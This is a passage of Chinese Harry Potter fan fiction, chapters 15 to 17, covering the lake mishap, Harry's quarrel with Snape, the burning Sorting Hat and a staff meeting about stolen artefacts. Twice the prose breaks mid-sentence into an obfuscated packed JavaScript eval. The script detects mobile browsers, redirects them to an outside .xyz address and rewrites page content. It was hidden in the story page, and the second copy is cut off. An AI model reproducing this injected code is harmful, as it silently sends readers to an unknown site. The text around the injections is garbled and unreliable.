“又一个波特?”泰迪循着声音看去,面色苍白的男孩就在他们旁边,他又看了眼罗恩,“和又一个韦斯莱?” “又一个马尔福?”哈利不甘示弱地顶回去,“让我想想,名字好像是德拉科?”罗恩轻咳了一声。 “觉得我的名字很好笑?”德拉科鄙夷地撇嘴,“我父亲跟我说过,韦斯莱家的孩子多得养不起。波特家也堕落了,整天和泥巴种,听说好像还有狼人混在一起,血统早就被污染得不值一钱。你们两个成了好朋友?果然是物以类聚。” “闭上你的嘴。”哈利咬牙切齿地说,罗恩脸涨得通红,他想冲过去,泰迪在后面死命拉住他——尽管他的脸色在听到“狼人”那个词的时候就变得很难看。 “想打架?”德拉科冷笑,他身后的两个巨型保镖正摩拳擦掌。 “我们挡着别人了。”泰迪冷冷地开口。德拉科这才第一次注意到他的存在,他对这个敲过他车门的男孩没什么恶感,“你的名字?” “泰迪·卢平。”泰迪简短地说。 马尔福轻笑,“我劝你别和这些不三不四的人来往,和高层次的巫师家族结交会给你带来很多好处的。”他向泰迪伸出手。 泰迪没有搭理他,“很可惜,我就是出生于你所说的低层次的巫师家族。”他推着罗恩往外走,“若你是所谓高层次的巫师家族的一员,至少请你表现出应有的气度。”他看了哈利一眼,又说,“我教父说过,只有自卑的人才会借着侮辱别人抬高自己。” 德拉科没有血色的脸泛出淡淡的红晕,哼了一声没再说什么,带着克拉布和高尔径直走出车门。 泰迪他们也跟着下到站台上,赫敏匆匆向他们这边挤来。“你们刚刚在走道和别人吵架了?”她劈头就问。“没打架吧?”罗恩瞪着她,脸绷得紧紧的,“我是很想打,可是泰迪拉住我。”“他是对的,你们不能还没入学就打架!”赫敏还想说什么,一盏灯照亮了阴暗的站台,接着一个粗旷的声音在他们头顶高喊,“一年级新生!一年级新生到这边来!”海格的大胡子脸在微笑。 新生们跟着海格磕磕碰碰地穿过一条狭窄的小径,当视野豁然开朗,幽黑的湖泊和湖对面巍峨耸立的城堡静静地在星空下闪烁,大家都情不自禁地欢呼起来。 海格吼着大嗓门让新生四人一批坐上停泊在岸边的小船,泰迪在上船前还专门跑去和海格打了个招呼,海格有些惊奇,一般新生被他魁梧的身躯吓到不少见,主动来打招呼的却没几个。他绽开大大的笑容,握了握泰迪的小手,把他握得生疼。 泰迪、哈利、罗恩和赫敏坐上了同一条船,船缓缓向城堡驶去。大家都静默不语凝望着前方,高矗云霄的城堡带给所有人凛然畏惧感。可当船行驶到湖中心的时候,哈利忽然低声冒出一句,打破了宁静,“马尔福在看什么?” 泰迪还没搞清楚情况,船身突然一震,失去平衡似的左右猛烈摇摆,接着便响起一片惊叫声。本来平静如镜面的湖面在无风的情况下掀起层层巨浪,湖中心更是毫无预兆地出现一个大漩涡。大家都紧紧扒着船舷,但还是一个接一个尖叫着被甩进湖里。甚至连海格都失去了反应能力。“梅林,这是怎么回事?”他大声喊,可没人顾得上理他。 “不行!我撑不住了!”赫敏终于坚持不住而松手,泰迪他们大惊,同时伸手去拉住她的长袍。 和赫敏他们一起掉进湖里时,泰迪唯一冒出来的念头就是——真的掉湖里了,哈利你这个大乌鸦嘴! 15. 我会保护他 “佩弗利尔教授!” 哈利回头,身穿翠绿长袍的麦格教授匆匆走来,带着一贯严肃的神情。 “麦格教授。”他和颜悦色地应答,“有什么事吗?” “你是要去邓布利多那里吗?”她问。 哈利挑眉,颔首道,“是的,我刚整理完办公室,正准备过去打声招呼。” “那么如果可以的话,你能帮我去校长室拿那顶分院帽去大厅吗?”麦格教授开门见山,“本来是我去拿的,可我刚才忙着处理一些事务,现在得赶着去迎接新生,恐怕时间上赶不及。” “当然,我很乐意。”哈利爽快地答应了。 “那就拜托你了。”麦格教授对他颔首示谢,便匆匆离去迎接新生。 哈利在邓布利多的办公室呆了约莫半刻钟,再次出来的时候手中多了一顶破破烂烂的高顶帽。走在通往大厅的走廊上,在空荡荡的回响声中他忽然停住脚步,仰首长叹。 (真是败给自己了。) 他踌躇地看了下四周,现在走廊里只剩下他一人。大部分的教师和学生都早已聚集在大厅里。 (泰迪的事……如果他现在和分院帽打个商量的话应该没什么问题吧?只是稍微谈一下……) 哈利慢慢地把帽子搁到自己头上。大小正好,现在帽子已经不会像以前一样因为太大而遮住他的眼睛了。哈利闭眼靠在墙上,耐心地等待着,直到脑中想起一个轻轻的声音,“年轻的先生,我有什么可以为您效劳的?” “呃……” 其实在分院帽的声音响起的那一刻哈利就已经后悔了——他现在要做的事和斯莱特林的不择手段有什么区别?应该顺其自然的事,他是否不该存在侥幸心理去干预呢?可是心里那个小小的声音却萦绕不去—— (一切为了泰迪,记住,你是为了泰迪。) “你好,分院帽先生。”哈利有些尴尬地低声说,“我是哈利·佩弗利尔。” “当然,真是个古老的姓氏,为什么不呢?我很荣幸,佩弗利尔先生。”分院帽的声音听上去很开心。 “本来我是想和你商量一件事的……”哈利停了一下,“不过——” “您在担心着什么吗?孩子分院的事?”分院帽还是一如既往的聪明。 “嗯,是这样没错……”哈利心中沉吟不决,“可是——” “我不得不很遗憾地说,佩弗利尔先生,如果您是想让我把某个学生分到您所希望的学院,或者不要分去某个学院,恕我拒绝。一千年来,我索亭海特·格兰芬多一向秉着公平公正的原则进行分院,”分院帽高傲地说,差点把自己震了下来,“根本不可能会出现因为学生或家长的喜好而影响分院的情况。” 哈,那当初是谁把我分进格兰芬多的?哈利暗自腹诽,又有些恍然。原来分院帽是有名字的,还跟格兰芬多姓。 “格兰芬多?”分院帽敏锐地抓住了这一点,哈利这才懊恼不已地想起来分院帽可以读到他的思想,“佩弗利尔先生您曾是霍格沃兹的学生?这不可能,我不记得给您分过院。” “每年都有那么多新生,记不得是很正常的。”哈利未置可否地回答。 “哈利·佩弗利尔,哈利·佩弗利尔……”分院帽根本没理会哈利,仍是自顾自地嘀咕着,“我很肯定我曾经分过院的学生里没有这个名字!您不能小看分院帽的记忆力,我每年都会花上一半的时间来整理我的记忆!” 那还有一半时间就是用来想下一年的歌?哈利无语。 “怪事,怪事……找不到这个人?”分院帽仍是在耳边跟蜜蜂嗡嗡似的絮絮叨叨。 终于,哈利忍受不了了,“好吧,如你所愿,我的确曾经是霍格沃兹的学生,也的确是你给我分的院,至于你为什么硬是不承认自己不记得,我觉得因为你太自恋了。还有问题吗?” 分院帽:……。 哈利索性再无赖一把,“既然你不相信,也许你还想再测一次看看?你真的把我分对学院了吗?” 分院帽沉默了一会儿,“唔,是的,你心眼不错,也具有勇往直前的勇气,及超群的能力。如果叫我选择的话,毫无疑问是格兰芬多。只是……”它忽然顿住,似乎有些惊讶的发现,接着猛然扯大了嗓门,震得哈利的耳朵嗡嗡响,“哦哦,梅林的胡子,真是有意思的想法,没错,霍格沃兹的创始人斯莱特林和格兰芬多曾经是挚友,为何如今的斯莱特林要和格兰芬多互相敌视呢?虽然我不该否定自己的存在,但我赞成你的意见,过早为孩子选择学院,不一定是好事,孩子缺乏判断力,反而会走上极端……是的是的,从父辈继承下来偏见……如今的分院无实质意义,千年前的因材施教和现今的批量式教学……对,分裂的象征,也许这个学校并不如人们所想的那么需要分院这个形式。你真的不考虑以后来当校长么?” “谢谢。不过请闭嘴,我不是来和你讨论这个问题的。”哈利干巴巴地打断它,极度鄙视分院帽恬不知耻地趁机扫荡他的想法。 想法只是想法——这些大部分是赫敏得出的理论,而他自然举双手双脚赞同,当然,得先瞒着罗恩。他们想要的世界很简单,就像五年前战争胜利的那一刻,不分学院,不分种族,大家能互相扶持,共同努力生活下去。可在这个时代,这本就是一个难以实现的梦想——种族歧视、血统排斥、等级制度,这其中任何一个都会使得纯血混血及麻瓜巫师甚至魔法生物之间的平衡,即使再过个几千年恐怕也难以真正达到。因为那条路过于艰难,而这个社会太容易混淆是非,黑白颠倒。 尽管如此,这样的世界也许终会到来,只是那时,或许又会出现新的分歧和纷争。而渺小的他们,只能在时代的洪流中挣扎求存的同时,尽最大的努力去改造这个社会。 “好吧好吧,真小气……我得说你是第一个敢无礼打断我的人。”分院帽因为被打断而不满地抗议了一下,继续侃侃而谈,“那么回到刚刚的话题,如果你要说另一个可能性……那只能是斯莱特林了。” “对,就是斯莱特林。但是,很奇怪,这并不困难……” “什么不困难?”哈利奇怪地问道,他回想起好像以前分院帽说过“这很困难”。 “分院的选择。显然。”分院帽低沉的声音带着种不真实的奇异感,“很微妙,你体内的斯莱特林,并不属于你,我感觉得到。” 哈利的心跳漏了一拍。 当年分院帽不但从未说过这种话,甚至一度坚持想把他分进斯莱特林。那时,伏地魔的灵魂碎片被自己大部分的魔力压制着,几乎融为一体,以至于分院帽也被隐瞒了过去。 至于体内的灵魂碎片,早在当年灰飞烟灭了,连带着哈利也失去蛇佬腔的能力——为此他还高兴了很久。 可以说,哈利现在的灵魂“应该”是完整的,纯粹的。 但分院帽却察觉到他体内拥有的——但不属于他的——斯莱特林的品质。 那说明了什么? 忽然失去了继续说下去的欲望,哈利怔怔地扯下头上的帽子,感到一阵恶寒——他这辈子是不是就别想指望能摆脱伏地魔了? 也许伏地魔该为此登上著名巫师卡——史上最阴魂不散的黑魔头。 哈利吐出口闷气,看下手表,自己和分院帽的谈话没耽误多少时间,但也得加紧速度赶去大厅。可他才刚转过身,心里忽地一个咯噔。 是斯内普。 空气沉重得异样。 良久,“你……什么时候在这儿的?”哈利觉得发出的声音遥远得不像是自己的。 “嗤。”一丝轻蔑的冷笑掠过斯内普的唇间,“显然格兰芬多式的鲁莽没教会你在讲悄悄话时至少施个静音咒。”他又忽然醒悟似的加了句,“啊,不过,你就像你那胆大妄为的父亲,对所有的忠告都会不屑一顾吧。” 哈利沉默以对。 “啧啧啧,又想制造一个格兰芬多?嫌格兰芬多的笨蛋还不够多么。表面上冠冕堂皇地宣称一视同仁,背地里却偷偷摸摸地想把自己亲爱的教子分到自己的学院。你教子会失望的,对于自己教父表里不一的卑鄙。”斯内普挑衅似地接着说,“而且看来你对斯莱特林不待见到连威胁分院帽的事都干得出了?” 哈利的火气在噌噌往上冒。 他哪句话听到他威胁分院帽了?怎么只要是斯内普说出来的话就变得那么不堪入耳? 不,哈利,你要冷静下来。好好解释,你知道斯内普就是这样的人,他只是针对身为波特的你而已。解释,斯内普会理解的,他知道泰迪的情况。 哈利脸上的表情在矛盾地挣扎,最后决定尽量心平气和地开口,“我想你是误会了。” 斯内普扬起眉毛似笑非笑地说,“我从不认为我的理解力有问题。” “你猜得没错,我找分院帽谈话的初衷的确是希望它不要把泰迪分到斯莱特林!”哈利略感烦躁挥挥手,“但这是有原因的。” “看得出,彼此的敌对关系就是原因。” “你为什么一定要这么说话?” “我只是在陈述事实。” 哈利的火气按捺不住了。 “好吧,事实就是我见鬼的才不在乎是格兰芬多还是斯莱特林,我只是不想把泰迪置于危险之中!” “很美妙的借口。在格兰芬多的眼里,斯莱特林难道不就是等同于危险?或者,邪恶黑暗?没错,一向如此。”斯内普眯起双眼,仿佛听到什么笑话似的抽动嘴角,“也许在你愚蠢的脑袋里担心斯莱特林的毒蛇会哪天给你可爱的教子咬上一口?” “你知道我不是这个意思!”哈利气得磨牙,梅林知道为什么斯内普那么固执。 “请原谅,看来格兰芬多不合逻辑的想法不是我这个斯莱特林所能理解的。” “这不是格兰芬多和斯莱特林的问题!” “或许你能好心告诉我那还能是什么别的问题。” “你知道泰迪的情况的,他的守护神咒根本挡不住太强大的负面能量!” 斯内普的脸登时黑了,“你的意思是说,斯莱特林如今还是食死徒的后花园吗?”他几乎是从牙缝里挤出这句话来。“真是无可救药的被害妄想症。 “是不是后花园我不知道,我只知道——” 哈利深吸一口气,平静地开口。 “伏地魔还活着。” 哈利的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156353|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话就如一个静音咒,周围忽然完全安静下来。诺大的走廊只隐隐约约响起愈渐不稳的呼吸声。 “而我不会让我的教子去送死。” 斯内普脸色惨白,对哈利怒目而视,尖锐的眼神分明想在他脸上刺几个洞。哈利毫不示弱地回瞪他。 “……我很佩服你的想象力,佩弗利尔教授。我认为,圣芒戈的精神科会比霍格沃兹更适合你。失陪了。” 他甚至拒绝用哈利的真名来称呼他,并很快转过身,冰冷冷地背对哈利,只有衣袖中握紧的拳头暴露了他勉强维持的冷静。 哈利眯起双眼,“你以为我在胡说八道?伏地魔他……”眼前的人明显一个冷颤。 “不要叫他的名字!” “怎么,你怕伏地魔……” “我说了不准叫他的名字!” 斯内普咆哮,猛地回过身,极度的愤怒使他本就蜡黄的脸显得更为扭曲。 一时间,两人只是沉默地对峙着。 哈利怒极反笑。 “很好,我算是明白了。” 他向前跨出一步,一把抓住斯内普的领子,狠狠往前一拽,把斯内普紧绷的脸拉近自己的,看着幽黑里倒映的碧绿色,嘴角扯出冷笑,他的声音轻得只有两人才能勉强听见,却句句如锤。 “西弗勒斯·斯内普。你有勇气背叛你的黑魔王陛下,成为双面间谍,却没有胆量直呼他的名字吗?” 他无视斯内普脸上浮现的那难以置信的苍白,提高了声量。 “你想问我怎么知道的?你想知道为什么我会担心泰迪到这个地步来给你开刷?好,我满足你!”他伸出左手捋开右额上的刘海,赫然露出伴随了他21年的闪电形伤疤,“看到这条疤了吗?这就是伏地魔给1岁时的我留下的印记!让我莫名其妙成了所谓的“大难不死的男孩”。你知道我尝过多少次眼睁睁看着重要的人因为伏地魔还有食死徒而死去却无能为力的滋味吗?不过最后他还是死了,是我杀了他!” “满意了没?再告诉你一件事,大概是什么见鬼的宿命,我来到这个时代的第一天就知道伏地魔还活得好好的!你们都以为他是死了或逃了,可我敢说他会比以前更强大,过不了多久他就会回来的!那个人的野心不是这么简单的!” 哈利的身体因为激动而微微发颤着,分院帽所说的话,第一天梦见伏地魔及随后疼痛的伤疤,都在昭示着一个最糟糕的事实——体内伏地魔的灵魂碎片极有可能再次出现了,即使它绝不受到欢迎。一直以来他表现得开朗和满不在乎,完美地把日益增加的恐慌深埋在心底。他要保护泰迪,他要防备伏地魔,他要在众人前伪装。他感到无助,却连一个可以商量求助的朋友都没有——罗恩、赫敏,他曾经的挚友,最忠诚的战友,在这个时代都还只是孩子。或者该说,包括斯内普和邓布利多,这个时代有谁是真正知道这个“哈利·波特”的存在的? ——谁都不认识他。 孤独感,在侵蚀着哈利的从容。他想大声吼叫,他从未如此渴望回去。 在这个世界,他只剩下泰迪一个亲人。那个乖巧且懂事的孩子。他从小带大、相依为命的教子。所以泰迪的那次意外,让他害怕了。他无法想象若有那么一天泰迪会像当初小天狼星那样,毫无预兆、悄声无息地死去。他能在泰迪面前保持着笑容,却止不住背后的阵阵寒意。 他不能失去他。即使是让他自己去死。 “没错,现在看似和平得很,可以后的事谁也不能预料。我和泰迪说不定再也回不去了,那么一旦伏地魔回来,一旦战争开始,我不能,也不会躲避和伏地魔的战斗。若伏地魔发现我的存在会威胁到他,他绝对做梦都会想干掉我!因为我有着让他想置我于死地的理由!”哈利痛苦地想起体内伏地魔的灵魂碎片,这次他还能用什么方法消灭它?“你以为如果伏地魔得知一个他敌人最重视的人就在斯莱特林,他会怎么做?我承担不起,也不想去面对这种风险!别告诉我他的魔掌伸不进霍格沃兹之类的屁话!就我所知斯莱特林至少有一半学生的父母都在食死徒的名单里!” 吼完最后一句,哈利大口喘着气,忽然觉得前所未有的疲惫。他懒得去研究斯内普的反应,也无所谓他说的话斯内普听懂了多少,就算是他告诉邓布利多导致事后的追究,那也不管他的事,他不过是现在想发泄而已。放手甩开斯内普,哈利弯腰捡起掉在地上的帽子闷头就往礼堂方向疾走。 “我不会让我的学生做出那种事的。”待得他往前走了十几步,身后传来低沉的、略带沙哑的声音,“我不会允许斯莱特林被黑魔王掌控,邓布利多也不会允许霍格沃兹落入他的手里。” “……。很多事是你阻止不了的,斯内普教授。”脚步顿了顿后,哈利头也不回地说。“即使是邓布利多……”他苦涩地笑了笑,“也不是神。” “……” “那么我会保护他。” 说话人语气中的决绝让哈利愣怔了一下,说不清是什么感情在静静地渗出,近似悲凉的熟悉。 他没有再缓住脚步回头去看斯内普是什么表情,也没有回应,只是在心里恶狠狠地说,你先保护好你自己不被蛇咬死再说吧。 16. 着火的分院帽 霍格沃兹的分院帽,顾名思义,自从霍格沃兹四位创始人赋予它思想以来,每年一度的分院仪式是它唯一的工作。悠悠几千年的岁月里,它加起来的工作日也不超过几年。其余的时间它就被搁置在校长办公室的板凳上,安安静静地整理着自己的记忆,抽取有八卦潜能的情报,再拿出来和校长先生交流交流。因此,单调的生活,倒也被它过得怡然自乐。 那么,分院帽究竟是顶怎样的帽子呢? 分院帽是一顶会赶潮流的帽子。 曾经分院帽十分苦恼。即使是帽子也会有闲得发慌的时候。分院帽在兢兢业业安守本分工作了那么多年后,某天终于决定摆脱如此无趣的生涯,给自己的闲暇时间带来点额外的娱乐。 某次分院时,它从某个学生的脑子里得知当今不管是麻瓜世界还是巫师世界,唱歌是最流行的,歌星必受万人追捧。这个消息无疑令分院帽茅塞顿开、泪流满面。它简直想去亲吻戈德里克的墓碑,至少他赐予了它一张嘴。从此,在分院前高歌一曲成为了每年的惯例。而它也不再无聊得天天和校长的宠物斗嘴或和校长先生八卦当年的新生,美其名曰,它需要时间和灵感来进行艺术创作。当然,能把四个毫无新意的学院翻来覆去的变换着形容词来歌唱,倒也能归为一种本事——梅林保佑,英语单词的组合足够它再用上几千年。 它想它大概是有史以来第一顶会唱歌的帽子,为此得意洋洋了很久——明显忘了自己已经是有史以来第一顶会分院的帽子了。唱歌不需要才能,可音痴却是种天赋。每年五音不全的分院歌荼毒了难以计数的学生的耳朵,但我们的分院帽先生却依然乐此不疲。 毫无意外,今年的分院仪式也在分院帽乌鸦叫般难听的歌声中开始了。 分院帽是一顶具有十足耐心的帽子。 比如说,现在把它戴着头上的,是一个全身湿透、却仍然信心满满的棕发女孩。 “睿智,自信,强烈的求知欲。”和往常一样,分院帽毫不吝啬自己的赞美之言,“并有着追求真理的勇气。唔,真是困难啊……” “你是觉得分院困难吗?”女孩问。 “聪明的孩子,”分院帽赞许道,“拉文克劳能在学问方面开阔你的视野,助你在学术上走上辉煌,这点毋庸置疑。但格兰芬多也是个不错的选择,拉文克劳往往缺少你具备的勇气。” “哦,那我能进格兰芬多吗?”女孩兴致勃勃地说,“据我所知,现任校长邓布利多就是格兰芬多出身的。而他是近一世纪最伟大的巫师,这些都可以从《现代魔法史》《二十世纪重要魔法事件》《百年魔法名人传》等等里查到。别人都告诉我格兰芬多是最好的学院,拉文克劳虽然也不错但它太死板了点。当然如果你一定要把我分进拉文克劳也不要紧,听说拉文克劳有自己的藏书室?它会允许一年级的学生借阅吗?哦,不过,如果你不介意,我还是比较倾向于格兰芬多。再说根据《百年魔法名人传》,毕业自格兰芬多的知名巫师占大多数,和它不相伯仲的只有斯莱特林了。我们再来看《现代魔法史》,以邓布利多为首的巫师为魔法界作出无法比拟的贡献,虽然斯莱特林做出的贡献也不少,但因为神秘人的关系名声最坏的也是它。” 她连珠炮似的一口气在心里说完,分院帽极为耐心地一直没插嘴,最后晕头转向地说,“很好,那就斯莱特林吧斯莱特林。” “是格兰芬多!”女孩提醒道。 “哦哦,没错,是拉文克劳对吧?”帽子打着酒嗝问。 “是格兰芬多。你醉了?”女孩再次纠正,皱眉,“帽子能喝酒?” “谁说帽子不能喝酒的?那就把你分到格兰芬多!”帽子喊完这一句,蔫了。 分院帽是一顶讲着讲着就会忘形的帽子。 比如说,现在把它戴在头上的,是一个浑身湿淋淋、有些畏首畏尾的圆脸男孩。 “让我看看,”已经酒醒的分院帽思索着,“心地很好,有点胆小,脑子不怎么好使,但内心深处想改变自己……我该把你放到哪里呢?” “我奶奶说不能进斯莱特林……”圆脸男孩在心里吞吞吐吐地说。 “斯莱特林?哦,那当然不行,你进去会被吃得渣都不剩的……”分院帽否决。 “我奶奶说赫奇帕奇出身的巫师都是笨蛋……”圆脸男孩委委屈屈的。 “那是勤劳!刻苦!”分院帽劝说,“你不是喜欢草药嘛,院长的斯普劳特教授和你的体形也正合拍。” “可我奶奶想让我进格兰芬多……”圆脸男孩央求道。 “勇往直前的勇气?唔……你还是差了些……也许还是赫奇帕奇?”分院帽建议。 “我奶奶会发吼叫信给我的……”圆脸男孩都带着哭腔了。 “但拉文克劳也不适合你,追求学问首先就需要超人一等的记忆力。”分院帽还在循循善诱,“你在赫奇帕奇会如鱼得水的。” “我奶奶说我爸妈都是格兰芬多。”圆脸男孩也不死心。 “你怎么就念念不忘格兰芬多呢,进错了学院对你没好处!”分院帽撇嘴——这使得它歪斜的嘴就更歪了,“而且我就分过一个新生到格兰芬多,可他全家都是斯莱特林。” “我要是进了斯莱特林,我奶奶会宰了我的……”圆脸男孩快崩溃了。 “我什么时候说过要把你分斯莱特林了?”分院帽怒了,“与其分你进那里还不如丢去格兰芬多!”最后四个字响彻整个大厅。 可怜的帽子,一怒就忘了把说话声量放小,圆脸男孩就这么被糊里糊涂地分到了格兰芬多。 分院帽郁闷地碎碎念,不久前它貌似还标榜过自己不会受学生思想左右,下一秒就不知不觉就被牵着鼻子走了。不过那小家伙在祖母的压迫下敢和它作斗争好歹也算有勇气,它就勉为其难的——喂喂喂,别把它带到格兰芬多的桌子那里啊,后面还有一长串的新生等着它分院呢!好吧它分错了——这个没长记性的小家伙就该进赫奇帕奇!分院帽恨恨地直冒烟。 只是,它不知道的是,另一个时空的它曾经做出多么正确的选择。 分院帽还是一顶喜欢八卦的帽子。 比如说,现在戴着它的是一个同样周身湿漉漉、但比别的孩子更冷静的男孩。 这些孩子难道都不知道把别人弄湿是件很失礼的事吗?分院帽在读取他思想的同时还能走神。 “你的才能隐藏得极深,是的,孩子。正直,信念坚定,不缺乏智慧和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跟往年一样的顺利,分院帽对自己相当满意——下一个轮到马尔福,是的是的,它甚至懒得去读他思想,就懒洋洋地叫出「斯莱特林」。如果有哪个马尔福会想进斯莱特林以外的学院,它还宁愿相信自己当机了。 “波特,哈利!” 又是一个哈利?分院帽皱眉——如果它有眉毛的话,它的心怦怦跳——如果它有心脏的话,难道酒劲又上来了? 黑发凌乱的男孩把它戴到脑袋上,遮住了他的眼睛。 让我看看,正义感强,天分挺高的,富有冒险精神——尽管我觉得冒险过头了。很显然,最适合你的是格兰——”分院帽忽然顿住了,“咦……什么?” 下一刻,黑发男孩猛地跳起来,尖叫着一把拽下头上的帽子。一簇火焰自帽子内部窜起,跳动的火苗瞬间就把帽子整个卷了进去。 在一片混乱中,分院帽居然很悠哉地开小差,烈火中殉职也不失为一种悲壮。可是该死的,至少让它把剩下那几个新生分完吧。 分院帽就快成为一顶死不瞑目的帽子了。 17. 大难不死男孩的决意 会议室里充斥着惶惶不安的窃窃私语,空气紧张得随随便便一个荧光闪烁咒都能让它立刻爆炸似的。 教师们交头接耳,开学第一天就接连发生两件令人措手不及的意外——显然并非是什么愉快的预兆。哈利把自己埋在座位里,没有参与到和其他人的交谈中。他抬起视线,慢慢环视会议室——首座空着,邓布利多的迟迟未到只能让大家产生更多臆测;斯内普就坐在圆形会议桌的另一边、他的正对面,似乎正热衷于和麦格教授讨论刚才的分院风波。他和哈利谁都没看谁,自从那次争执以来,不管是分院时还是现在,两人都有意无意避开和对方直面相对。 那也不错。哈利恹恹地想,他厌倦忍受斯内普的脸色了,即使他只是在迁怒,而这个时代的斯内普对未来的事一无所知。如今顶多是回到学生时代的互相敌视,不会更糟。他并不在乎斯内普对他的态度,也不需要他来保护泰迪,他自己的教子自己会保护好。 ——可是哈利,你真的想回到以前那种关系吗? 他的目光涣散地转向墙壁上挂钟——和韦斯莱夫人拥有的那只十分相似,但有两根指针,那根长的指针如今指着三点钟的方向,「准备中」的字样在闪烁;短的那根则指示着会议主持者正在途中。哈利盯着的那个方向渐渐模糊了。他和泰迪来到这个时代才多久?不到两个月。可突发的情况却比想象中多得多。越是回想,越是迷乱。究竟是他们的到来而带来的影响,还是纯粹的巧合—— 哈利自嘲地笑笑。现在的他还会相信这世上会有单纯的偶然吗? 挂钟的短指针叮的一声移向「在席」,屋内的嘈杂声骤然静默下来。邓布利多出现在会议室的另一端,走向首座他的位子,苍老的脸上布满疲惫、疑惑。 “阿不思。”麦格教授站起,首先打破僵硬的沉默,“分院帽究竟……” 邓布利多对她做了个稍安毋躁的手势,在自己的位子坐下,微微露出笑容安抚不安的教师们,这让室内的气氛顿时缓和不少,“分院帽问题不大,只是修复会需要一段时间。” “自燃的原因呢?”斯内普语调冷漠地询问。 邓布利多的手指无意识地敲击着桌面,“暂时还查不出来,看情况似乎是它的精神受到某种冲击。也许一切要等分院帽恢复意识后才能有定论。” 哈利觉得邓布利多说这句话的时候眼神在自己身上停留了一会儿,他看过去,邓布利多已经不着痕迹地转移了视线。 “那么今天的落湖事件又是什么造成的?”一贯严肃的麦格教授的声音有些激动,“若不是我赶去的时候湖水已平静下来,我真不敢想象落水的新生是否会遭遇无法想象的……意外。” 泰迪他们浑身湿漉漉、惊魂未定的模样在眼前浮起,哈利的心抽紧了。 室内的温度降到最低点。 邓布利多也褪去了笑容,他叹道,“人鱼族的缇瓦之链被盗了,偷盗者是巫师的可能性很大。” 全场鸦雀无声,随后所有的声音一起爆发了。 “哦,梅林,被盗了?人鱼的守备极度深严,而且以他们的警觉性,怎么可能……”麦格教授惊呼。 “是啊是啊!”弗立维教授大声附和。 “虽然我们和人鱼族一向井水不犯河水,但这次的事件若真是巫师造成的……” “阿不思,这有什么证据吗?不可能是霍格沃兹内部人员偷的,我怀疑有外人潜入霍格沃兹。” “但他们冒这么大险的目的是什么?缇瓦之链是人鱼的至宝,可对我们巫师来说,顶多就和妖精制作精致的工艺品一样。” “缇瓦之链是什么?”和往常一样缺乏巫师界常识的哈利低声问身边的斯普劳特教授。斯普劳特教授回以他奇怪的眼神,但还是详细地解释给他听,“缇瓦之链在人鱼的传说里,是它们信仰的水神伊雅以灵魂炼成,流传下来的人鱼族的守护链,一般由每一代的人鱼首领保管。唉,居然被偷走了,这回人鱼都得发飙了。”说到最后,她叹着气摇头。 哈利沉默不语。他想到一个最不愿去相信的可能性。那个人若需要缇瓦之链,那必有他自己的用处。就如同当年的魔法石——等等,这么说来,魔法石是不是也被偷了?那天在对角巷,古灵阁不就是被人闯进去偷走了某样东西……当初没有被转移到霍格沃兹,是因为那个人明面上依然销声匿迹…… 这个想法使哈利震惊了,仿佛有一条冰冷的蛇在他脊背游动,又钻进去紧紧缠住他的心脏。 邓布利多抬起手示意大家冷静。他的神色很凝重,“人鱼首领的说法是,缇瓦之链被偷的时候全体人鱼都处于昏迷状态,所以它们也是猜测。” 斯内普闻言冷哼,“该不会是它们自己玩忽职守的推辞吧。” “不。”邓布利多否定,“湖水里的确还残留着一些魔法的痕迹,专门针对人鱼的魔法,普通的昏迷咒不能使人鱼昏厥,但人鱼有个缺点,它们和家养小精灵一样,很容易醉倒,根本无抵抗之力,而这个魔法可以模拟出酒精的效果。一般来说,专门针对魔法生物的魔法,看上去再无害,也都属于黑魔法的范畴。” 每个教师的脸上都透露着不安,嗡嗡的低语声再次响起,他们亦或做着手势,亦或低声交谈。哈利仰望着天花板,作出了一个决定。 “总之,这件事先到此为止。我会向魔法部报告,请他们派专人来调查的。”邓布利多说,抽出魔杖指向挂钟轻轻一点,长指针啪地从六点钟的「会议中」指向九点钟的「散会」。 教师们陆陆续续离开了会议室,很快,诺大的会议室里就只剩下三个人。哈利留在原位没动,斯内普有意无意地看了他一眼,正站起身准备离去,哈利也起身走向还坐在首座的邓布利多。 “阿不思。”哈利咬了咬下唇,“我有些事想跟你谈。” 邓布利多静静地聆听,并用眼神鼓励他。 “偷走缇瓦之链的,大概是伏地魔。”哈利直视着他的眼睛说。 斯内普的脚步猛然刹住,邓布利多的眼睛里闪烁着惊异的光芒,“原谅我的无法置信,哈利,可你是怎么得出这个结论的呢?” “我只能说,这是我的直觉。”哈利又问,“阿不思,魔法石是不是被偷了?” 邓布利多和斯内普交换了下愕然的眼神,“没错。难道你是想说……” “是的,如果我没弄错,应该也是伏地魔干的。”邓布利多肯定的回答让哈利的心一下子沉到谷底。哈利垂下眼帘,敛起内心的风暴,踌躇片刻才又抬起目光,“阿不思,有些事,如果可以的话,我真的不愿再提起。本来以为历史变了,也许我可以摆脱那些沉重的负荷。我承认,这是我的私心。你应该也发现我隐瞒了不少事,很感谢你没有来当面追问我,真的。但事情发展到这步,我恐怕不得不全盘托出了。” 邓布利多仿佛对哈利的决定并不感到惊讶,他恳切地说,“你能相信我,这是我的荣幸,哈利。可我很好奇究竟是什么让你宁愿避而不谈。 哈利苦笑着摇头,“有些事实或回忆,只能给人带来痛苦,阿不思。” 邓布利多平静地注视着他,半月形的眼镜片映出哈利迷惘的面容,“那么我们需要的就是面对痛苦的勇气。每一次的逃避,只会令我们的勇气衰减一分,同时也会给自己套上懦弱的枷锁。可要知道,总有一天我们会避无可避。” “我明白,阿不思。”哈利短促地点点头,“在说之前,我想先问一下,你打算让斯内普也在场么?”说到这儿,他扫了一眼斯内普。 